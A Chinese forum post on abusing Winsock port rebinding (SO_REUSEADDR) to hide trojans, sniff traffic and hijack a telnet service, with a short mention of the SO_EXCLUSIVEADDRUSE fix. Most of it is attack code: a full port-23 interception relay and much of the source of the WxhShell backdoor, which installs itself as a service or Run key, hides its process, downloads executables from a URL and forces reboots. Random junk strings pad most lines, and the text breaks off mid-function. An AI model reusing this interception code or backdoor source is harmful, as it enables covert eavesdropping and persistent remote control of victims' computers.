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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .35(MFvq!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \i.]-k  
gt kV=V  
  saddr.sin_family = AF_INET; |}"YUk^  
kUT2/3Vi  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); X2w)J?pv  
X+vKY  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); I8H3*DE  
^z,3#gK  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 uU  d"l,V  
dwj?;  
  这意味着什么?意味着可以进行如下的攻击: |k a _Zy  
$H:!3 -/  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 S zo'[/ [R  
xATx2*@X2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ">V&{a-C4  
(* -wiL  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 V"Q\7,_k.  
?_Qe45 @  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /A_:`MAZ  
h*w9{[L  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1;B~n5C.   
\aSP7DzqQ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {kpad(E  
I{Du/"r#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 n,I3\l9  
.Rr^AGA4  
  #include %9-^,og  
  #include D(b01EQ;d  
  #include r. 82RoG?G  
  #include    E@}F^0c  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?Uql 30A  
  int main() l4C{LZ  
  { _!xrBdaJ  
  WORD wVersionRequested; IZVP-  
  DWORD ret; Z |$#  
  WSADATA wsaData; HoI6(t  
  BOOL val; *WE8J#]d  
  SOCKADDR_IN saddr; Q%e<0t7  
  SOCKADDR_IN scaddr; ?m7:@GOE1  
  int err; l 9K`+c+t  
  SOCKET s; ZL|aB886  
  SOCKET sc; wMS%/l0p1  
  int caddsize; !'f7;%7s  
  HANDLE mt; q4ROuE|d  
  DWORD tid;   @ @[xTyA  
  wVersionRequested = MAKEWORD( 2, 2 ); Nt>^2Mv   
  err = WSAStartup( wVersionRequested, &wsaData ); fit{n]g  
  if ( err != 0 ) { EJ:O 1  
  printf("error!WSAStartup failed!\n"); Y6{^cZ!=  
  return -1; M7#!Y=  
  } m8n)sw,,  
  saddr.sin_family = AF_INET; `_/bg(E  
   --h\tj\U  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^ h=QpH  
2D 4,#X  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ch i=]*9  
  saddr.sin_port = htons(23); OGZD$j  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -wU]L5uP  
  { X[tt'5  
  printf("error!socket failed!\n"); fWHvVyQ.  
  return -1; 17hoX4T  
  } fCt|8,-H  
  val = TRUE; NcA `E_3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ljFq;!I5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) d/_D|ivZ=  
  { ki1(b]rf  
  printf("error!setsockopt failed!\n"); x0j5D  
  return -1; P&`%VW3E  
  } v9(5H Y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; RZ6y5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 x*OdMr\n8?  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Eq-+g1a  
<':h/ d  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }`R,C~-|^  
  { uq5?t  
  ret=GetLastError(); 4`O[U#?  
  printf("error!bind failed!\n"); w>W#cTt  
  return -1; 20Zxv!  
  } <AgB"y@  
  listen(s,2); OP/DWf  
  while(1) JFv70rBe  
  { }M4dze  
  caddsize = sizeof(scaddr); s|C[{n<_  
  //接受连接请求 s8-RXEPb  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,gV#x7IW  
  if(sc!=INVALID_SOCKET) z'l$;9(y  
  { 0/HFLz'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); M9)4ihK  
  if(mt==NULL) Wf c/?{  
  { >n7h%c  
  printf("Thread Creat Failed!\n"); 0C zQel)L:  
  break; cSL6V2F  
  } *\ii +f-  
  } !}Xoqamm  
  CloseHandle(mt); Snr(<u  
  } 0zW*JJxV  
  closesocket(s); |5u~L#P  
  WSACleanup(); FjCGD4x1N  
  return 0; rLTBBvV  
  }   k>&cHCS`*  
  DWORD WINAPI ClientThread(LPVOID lpParam) =.`\V]  
  { 7@@g|l]  
  SOCKET ss = (SOCKET)lpParam; 8LV6E5Q  
  SOCKET sc; i1evB9FZ1z  
  unsigned char buf[4096]; $J1`.Q>)4  
  SOCKADDR_IN saddr; y._'o7%  
  long num; dD,}i$  
  DWORD val; bi8_5I[  
  DWORD ret; qU26i"GHp  
  //如果是隐藏端口应用的话,可以在此处加一些判断 v_KO xV:<`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _[rFnyC+0V  
  saddr.sin_family = AF_INET; { ^o.f  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); l~Jd>9DwY  
  saddr.sin_port = htons(23);  X}(s(6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4/ ` *mPW  
  { r<!hEWO>v  
  printf("error!socket failed!\n"); h$5[04.Q  
  return -1; U7WYS8  
  } y[N0P0r l:  
  val = 100; E#!N8fQ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  kN=&"  
  { ,I"T9k-^  
  ret = GetLastError(); !!\}-r^y%  
  return -1; h,c*:  
  } @c^ Dl  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (dlp5:lQz  
  { 88HqP!m%P:  
  ret = GetLastError(); q>_<\|?%x  
  return -1; mZ71_4X#  
  } *RkUF!)(  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) k`5I"-e  
  { 1(p:dqGS  
  printf("error!socket connect failed!\n"); Vh~hfj"  
  closesocket(sc); Snk+ZQ-  
  closesocket(ss); $w(RJ/  
  return -1; 7y$\|WG?!r  
  } ((ebSu2-?$  
  while(1) A}ZZQ  
  { :k\#=u(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ULiRuN0 6  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 K]|UdNo  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 j(%N.f6  
  num = recv(ss,buf,4096,0); evZcoH3~  
  if(num>0) }Xj25` x  
  send(sc,buf,num,0); ,X4b~)  
  else if(num==0) +2`BZ}5y  
  break; ]g-%7g|  
  num = recv(sc,buf,4096,0); s4bV0k  
  if(num>0) ` <1Wf  
  send(ss,buf,num,0); ?/YABY}L  
  else if(num==0) |Gic79b  
  break; X['9;1Xr  
  } 6f +aGz  
  closesocket(ss); ,l~<|\4,wv  
  closesocket(sc); |aDBp  
  return 0 ; ~N!HxQ  
  } k6CXuU  
;VE y{%nF  
m* m),mZ"  
========================================================== -,bnj^L  
811>dVq3/  
下边附上一个代码,,WXhSHELL #gbB// <  
2.3_FXSt  
========================================================== [6a-d> e{  
l!*_[r   
#include "stdafx.h" +gd5&  
t"$~o:U&)  
#include <stdio.h> b`X''6  
#include <string.h> mG S4W;  
#include <windows.h> z>W:+W"o  
#include <winsock2.h> %>FtA)  
#include <winsvc.h> IV,4BQ$  
#include <urlmon.h> G(t:s5:  
AJ7w_'u=@  
#pragma comment (lib, "Ws2_32.lib") ?4':~;~  
#pragma comment (lib, "urlmon.lib") @jn&Wf?  
nL 5tHz:e  
#define MAX_USER   100 // 最大客户端连接数 BAQ-1kSz  
#define BUF_SOCK   200 // sock buffer D [+LU(  
#define KEY_BUFF   255 // 输入 buffer hC2Fup1@  
`n$Ak5f  
#define REBOOT     0   // 重启 Z1 Nep !  
#define SHUTDOWN   1   // 关机 u ON(LavB  
r,;ca6>5H  
#define DEF_PORT   5000 // 监听端口 DMUirA;  
+Kk1[fh-  
#define REG_LEN     16   // 注册表键长度 8n3]AOc'~-  
#define SVC_LEN     80   // NT服务名长度 poBeEpbs  
6nTM~]5.  
// 从dll定义API WJq>%<#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c9+G Qp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G[KjK$.Ts?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *?<N3Rr*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W{;Qi&^ca  
(p2`ofj  
// wxhshell配置信息 :u4|6?  
struct WSCFG { AA5G` LiT  
  int ws_port;         // 监听端口 Um+_ S@h  
  char ws_passstr[REG_LEN]; // 口令 DZ|*hQU>K  
  int ws_autoins;       // 安装标记, 1=yes 0=no _r-LX"  
  char ws_regname[REG_LEN]; // 注册表键名 D;YfQQr  
  char ws_svcname[REG_LEN]; // 服务名 P}4&J ^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .HZd.*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h,{Q%sqO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V&f*+!!2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C&z!="hMhR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "L2*RX.R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jZ.yt+9  
_^FC 9  
}; SWr TM  
W'4/cO  
// default Wxhshell configuration l>\EkUT  
struct WSCFG wscfg={DEF_PORT, ^$Y9.IH"  
    "xuhuanlingzhe", [-\Y?3  
    1, ]r;rAOWVV  
    "Wxhshell", wlNL;W@w  
    "Wxhshell", dWn6-es  
            "WxhShell Service", yv-R<c!'  
    "Wrsky Windows CmdShell Service", r(r(&NU  
    "Please Input Your Password: ", 7 z    
  1, 8C{&i5kj\E  
  "http://www.wrsky.com/wxhshell.exe", |jIHgm  
  "Wxhshell.exe" /MtmO$ .  
    }; [~N;d9H+*1  
=RWTjTZ   
// 消息定义模块 W^iK9|[qp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &%fcGNzJQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V ,KIi_Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <%^/uS  
char *msg_ws_ext="\n\rExit."; QYbB\Y  
char *msg_ws_end="\n\rQuit."; H?"M&mF  
char *msg_ws_boot="\n\rReboot..."; Ovt]3`U9J  
char *msg_ws_poff="\n\rShutdown..."; ^/#+0/Bn  
char *msg_ws_down="\n\rSave to "; G`l\R:Q  
Kxr{Nx  
char *msg_ws_err="\n\rErr!"; w Q[|D2;  
char *msg_ws_ok="\n\rOK!"; "5N4 of 8  
y11^q*}  
char ExeFile[MAX_PATH]; 1]If< <  
int nUser = 0; oEX,\@+u  
HANDLE handles[MAX_USER]; i~Tt\UA>  
int OsIsNt; c=u+X` Q  
4 $R!)  
SERVICE_STATUS       serviceStatus; [#GBn0BG)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3uYLA4[-B  
=G}a%)?As\  
// 函数声明 [ bnu DS  
int Install(void); <PSz`)SN  
int Uninstall(void); 2mEqfy  
int DownloadFile(char *sURL, SOCKET wsh); C@Wzg  
int Boot(int flag); I7vP*YE 7F  
void HideProc(void); 5.^pD9[mT  
int GetOsVer(void); w"0$cL3  
int Wxhshell(SOCKET wsl); br=e+]C Y)  
void TalkWithClient(void *cs); !sX$?P%U  
int CmdShell(SOCKET sock); a[hF2/*  
int StartFromService(void); w9Yx2  
int StartWxhshell(LPSTR lpCmdLine); k*A(7qQA`4  
(GRW(Zd4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~k34#j:J65  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); IGTO|sT"  
()6% 1zCO  
// 数据结构和表定义 A'w+Lc.2  
SERVICE_TABLE_ENTRY DispatchTable[] = "c[>>t  
{ Vu(NP\Wm  
{wscfg.ws_svcname, NTServiceMain}, 6 :4GI  
{NULL, NULL} ;Pk"mC  
}; OD'~t,St  
{APfSD_4  
// 自我安装 O ?T~>|  
int Install(void) Gxd/t#;  
{ `&NFl'l1C  
  char svExeFile[MAX_PATH]; Q%O9DCi  
  HKEY key; SL uQv?R}9  
  strcpy(svExeFile,ExeFile); .Vt|;P}  
K21Xx`XK  
// 如果是win9x系统,修改注册表设为自启动 1le9YL1_g  
if(!OsIsNt) { ZTTA??}Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q-t%spkl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eSoX|2g  
  RegCloseKey(key); _j+,'\B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *{?2M6Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N d>zq  
  RegCloseKey(key); 4AhF E@  
  return 0; aKMX-?%t4  
    } v Z10Rb8  
  } Fe[6Y<x+:  
} sA6HkB.  
else { ?e-rwaW  
SsX$l<t*  
// 如果是NT以上系统,安装为系统服务 _,^f,WO~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); F-@y H  
if (schSCManager!=0) xLIyh7$t  
{ _LF'0s*  
  SC_HANDLE schService = CreateService pXNhU88  
  ( V.3#O^S  
  schSCManager, ub 2'|CYw  
  wscfg.ws_svcname, ;7Qem&  
  wscfg.ws_svcdisp, xF UD9TM  
  SERVICE_ALL_ACCESS, u&p8S#e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^I/(9KP#  
  SERVICE_AUTO_START, -rsS_[$2  
  SERVICE_ERROR_NORMAL, cMi9 Z]  
  svExeFile, `T[yyOL/  
  NULL, [vtDtwL  
  NULL, ?bd!JW bg`  
  NULL, <;i&-,  
  NULL, Z2{$FN  
  NULL B#."cg4VR  
  ); C|}yE ;*a  
  if (schService!=0) 'q9Ejig  
  { ] Q^8 9?  
  CloseServiceHandle(schService); ])pX)(a  
  CloseServiceHandle(schSCManager); R&s/s`pLW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Jur$O,u40l  
  strcat(svExeFile,wscfg.ws_svcname); 0D:uM$ i]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @uC-dXA"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3znhpHO)  
  RegCloseKey(key); M/V"Ke"N  
  return 0; F-Z>WC{+  
    } Q9y|1Wg1W  
  } *QW.#y>"j  
  CloseServiceHandle(schSCManager); dY?l oFz  
} h<m>S,@g  
} LzXIqj'H7T  
N0fE*xo  
return 1; ed,+Slg  
} ,,XHw;{  
w;VUP@Wm  
// 自我卸载 m";8 nm  
int Uninstall(void) ~l+~MB  
{ |RpZr!3V  
  HKEY key; qyyLU@hd  
i_6wD  
if(!OsIsNt) { 8Pom^QopK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (`n*d3  
  RegDeleteValue(key,wscfg.ws_regname); tSDp>0yZ3  
  RegCloseKey(key); E3Z>R=s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7({.kD6  
  RegDeleteValue(key,wscfg.ws_regname); $o\U q  
  RegCloseKey(key); ^<yM0'0t  
  return 0; XSZjuQ<[3  
  } :\#]uDT2=  
} [\HAJA,  
} IsL=DV/  
else { r~;.8qs  
.hvn/5s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /9y'UKl7[  
if (schSCManager!=0) !x:w2  
{ RAyR&p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y!E| X 3  
  if (schService!=0) lSId<v?C>  
  { x^F2Ywp%  
  if(DeleteService(schService)!=0) { '.&,.E&{$  
  CloseServiceHandle(schService); y(#F&^|  
  CloseServiceHandle(schSCManager); hYCyc -W  
  return 0; GLl@ 6S>v  
  } ZG)C#I1;O  
  CloseServiceHandle(schService); Jf2:[ Mq  
  } N_!Zn"J  
  CloseServiceHandle(schSCManager); of<>M4/g4y  
} L3Q1az!Ct  
} Z.LF5ur  
S67T:ARS  
return 1; FHH2  
} = &aD!nTx  
.+AO3~Dg  
// 从指定url下载文件 ldoN!J  
int DownloadFile(char *sURL, SOCKET wsh) ~w%Z Bp  
{ ,v1-y ?kB  
  HRESULT hr; _jb"@TY  
char seps[]= "/"; J2#=`|t"  
char *token; "=!QSb  
char *file; w1A&p  
char myURL[MAX_PATH]; TA Yt:  
char myFILE[MAX_PATH]; DPtyCgH  
b_Ky@kp  
strcpy(myURL,sURL); eEe8T=mD  
  token=strtok(myURL,seps); ]i]sgg[  
  while(token!=NULL) ?t.?f`(|  
  { &<i>)Ss  
    file=token; U7fE6&g  
  token=strtok(NULL,seps); g?o$:>c  
  } /[#{#:lo2  
L@R%*-a  
GetCurrentDirectory(MAX_PATH,myFILE); kk5i{.?[  
strcat(myFILE, "\\"); XKU=VOY  
strcat(myFILE, file); lR^dT4  
  send(wsh,myFILE,strlen(myFILE),0); z8"=W,2  
send(wsh,"...",3,0); |V~P6o(/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *&2#;mf3  
  if(hr==S_OK) qV$',U*+T  
return 0; $X&OGTlw^  
else E.% F/mM  
return 1; 2Nl("e^kJr  
1aMBCh<}JN  
} |QgXSe7  
;%z0iZmg  
// 系统电源模块 0Rk'sEX,  
int Boot(int flag) TAC\2*bWje  
{ LP)mp cQ  
  HANDLE hToken; ptq{$Y{_  
  TOKEN_PRIVILEGES tkp; u]MF r2  
G7/LYTT)  
  if(OsIsNt) { Z/RUrYeb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Tx_(^K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >%3c1  
    tkp.PrivilegeCount = 1; :3n.nKANr  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a@r K%Iff  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D3lYy>~d5;  
if(flag==REBOOT) { 80]TKf>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ];2eIe  
  return 0; >`\*{]  
} &{=~)>h  
else { 0j/81Y}p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xNqQbk F  
  return 0; +@qk=]3a  
} ]D-48o0  
  } XP;&iZJ  
  else { #"yf^*wX  
if(flag==REBOOT) { yaR;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V= *J9~K  
  return 0; -5 W0K}  
} kL|Y-(FPo%  
else { qRGb3l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n)7icSc  
  return 0; G-(c+6Mn  
} )?bb]hZg?O  
} IP;@unBl  
xA5$!Oq7  
return 1; hCvn(f  
} 1=a}{)0h  
^[Er%yr0  
// win9x进程隐藏模块 eo_T .q  
void HideProc(void) 2M#CJ&  
{ 1DcarF  
k51s*U6=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O({_x@  
  if ( hKernel != NULL ) jgo@~,5R  
  { #rr-4$w+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bv4cw#5z$9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zB$6e!fc  
    FreeLibrary(hKernel); 7Mv$.Z(  
  } .nH /=  
kZ.3\  
return; )IhY&?jk?  
} GDB>!ukg  
U44H/5/  
// 获取操作系统版本 +=k|(8Js#  
int GetOsVer(void) =5M>\vt]  
{ dJ^`9W  
  OSVERSIONINFO winfo; G0Eq }MyF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /a|NGh%  
  GetVersionEx(&winfo); 7 f*_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e`Yns$x  
  return 1; 8)!;[G|  
  else ZO 1J";>u  
  return 0; 5l}h8So4  
} *n'x S L  
Ma daxx  
// 客户端句柄模块 ksaC[G;}:  
int Wxhshell(SOCKET wsl) A,e^bM  
{ _MEv*Q@o  
  SOCKET wsh; %S#"pKE6 R  
  struct sockaddr_in client; L>b,}w  
  DWORD myID; @#tSx  
T_Y}1n|7[  
  while(nUser<MAX_USER) {@$3bQ  
{ 6<Wr 8u,  
  int nSize=sizeof(client); j[`?`RyU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /6c10}f  
  if(wsh==INVALID_SOCKET) return 1; lp UtNy  
P.B'Gh#^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]c2| m}I{:  
if(handles[nUser]==0) OJ 5 !+#>  
  closesocket(wsh); @ 1A_eF  
else #+PbcL  
  nUser++; o {LFXNcg[  
  } `C?OAR44  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fO>~V1  
g:M7/- "  
  return 0; b]#d04]  
} !S-U8KI|  
[ d7]&i}*|  
// 关闭 socket <pUou  
void CloseIt(SOCKET wsh) 8!6*|!,:?n  
{ hob$eWgr  
closesocket(wsh); n5/Tn7hY  
nUser--; ?|GxVOl  
ExitThread(0); Dg+d=I?  
} V^+:U>$w  
'e64%t  
// 客户端请求句柄 ~(/HgFLLu  
void TalkWithClient(void *cs) - (}1o9e\7  
{ tlgvBRH>  
"'B%.a#k  
  SOCKET wsh=(SOCKET)cs; Sg>0P*K@  
  char pwd[SVC_LEN]; !y~b;>887  
  char cmd[KEY_BUFF]; =+S3S{\CK  
char chr[1]; .b oizW1+  
int i,j; o~&!M_ED  
am+mXb  
  while (nUser < MAX_USER) { veg!mY2&  
\Egc5{   
if(wscfg.ws_passstr) { QS*cd|7J;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X", 0VO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f94jMzH9z  
  //ZeroMemory(pwd,KEY_BUFF); wP0+Xv,  
      i=0; c@7hLUaE2  
  while(i<SVC_LEN) { O f@#VZ  
{dXBXC/Ju  
  // 设置超时 '\B"g@if  
  fd_set FdRead; `j}d=zZ  
  struct timeval TimeOut; b|o!&9Yyr  
  FD_ZERO(&FdRead); TeCpT2!5j  
  FD_SET(wsh,&FdRead); .<^Y E%  
  TimeOut.tv_sec=8; /'fDXSdP  
  TimeOut.tv_usec=0; {WeXURp&nF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @[lc0_ b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7O{O')o!  
89#0vG7m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =e8L7_;  
  pwd=chr[0]; n o+tVm|  
  if(chr[0]==0xd || chr[0]==0xa) { M.N~fSJ   
  pwd=0; S} Cp&}G{P  
  break; R 0HVLQI  
  } .]s( c!{y  
  i++; 9XqAjez\  
    } EvQwGt1)P  
ZNpExfGEU  
  // 如果是非法用户,关闭 socket {V% O4/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,nB3c5X)|  
} IKzRM|/  
8{SU?MHQLE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G? gXK W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D *I;|.=u  
"Lq|66  
while(1) { cgxF Ev  
auTTvJ  
  ZeroMemory(cmd,KEY_BUFF); 'Rd*X6dv  
@@3,+7%1  
      // 自动支持客户端 telnet标准   w1@b5-  
  j=0; s~X*U&}5  
  while(j<KEY_BUFF) { O& %"F8B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pNE\@U|4E  
  cmd[j]=chr[0]; @ PoFxv  
  if(chr[0]==0xa || chr[0]==0xd) { "E)++\JL  
  cmd[j]=0; AYA&&b  
  break; W#jZRviyq!  
  } A :bPIXb  
  j++; .n& Cq+U;  
    } A9l})_~i  
{_XrZ(y/  
  // 下载文件 o;4e)tK  
  if(strstr(cmd,"http://")) { ~@uY?jr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); TF0-?vBWh  
  if(DownloadFile(cmd,wsh)) hdr}!w V  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,mjfZ*N  
  else gr`Ar;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [}ZPg3Y  
  } G</I%qM  
  else { v V6Lp  
SU%rWH  
    switch(cmd[0]) { (21 W6  
  tdnXPxn[  
  // 帮助 2iPmCG  
  case '?': { yOUX E>-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (ND5CKCR^  
    break; r3H}*Wpf  
  } Ur([L&  
  // 安装 1 73<x){  
  case 'i': { Go\} A:|s  
    if(Install()) De nt?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Awa|rIM  
    else e@:P2(WW l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \YlF>{LVe  
    break; -M:hlwha  
    } q]N?@l]  
  // 卸载 }>;ht5/i/  
  case 'r': { ewAH'H]o  
    if(Uninstall()) ~S^X"8(U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `o_fUOe8a  
    else c/=y*2,zo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y0PGT5].@'  
    break; 9jMC |oE  
    }  H\=LE  
  // 显示 wxhshell 所在路径 LGo2^Xx  
  case 'p': { 6i]Nr@1C  
    char svExeFile[MAX_PATH]; Z[k#AgC)  
    strcpy(svExeFile,"\n\r"); [EmOA.6  
      strcat(svExeFile,ExeFile); 1J-Qh<Q   
        send(wsh,svExeFile,strlen(svExeFile),0); Foe>}6~{?  
    break; 9'n))%CZ.  
    } xi?P(s A  
  // 重启 ~[zFQ)([  
  case 'b': { 'n^2|"$sH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0\cnc^Z  
    if(Boot(REBOOT)) 1c)\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Ui{=920  
    else { %wt2F-u  
    closesocket(wsh); i5 L:L  
    ExitThread(0); Hz]4AS  
    } *b Ci2mbm@  
    break; a1g6}ym\  
    } dNUR)X#e  
  // 关机 vXy uEEe  
  case 'd': { &\1'1`N1  
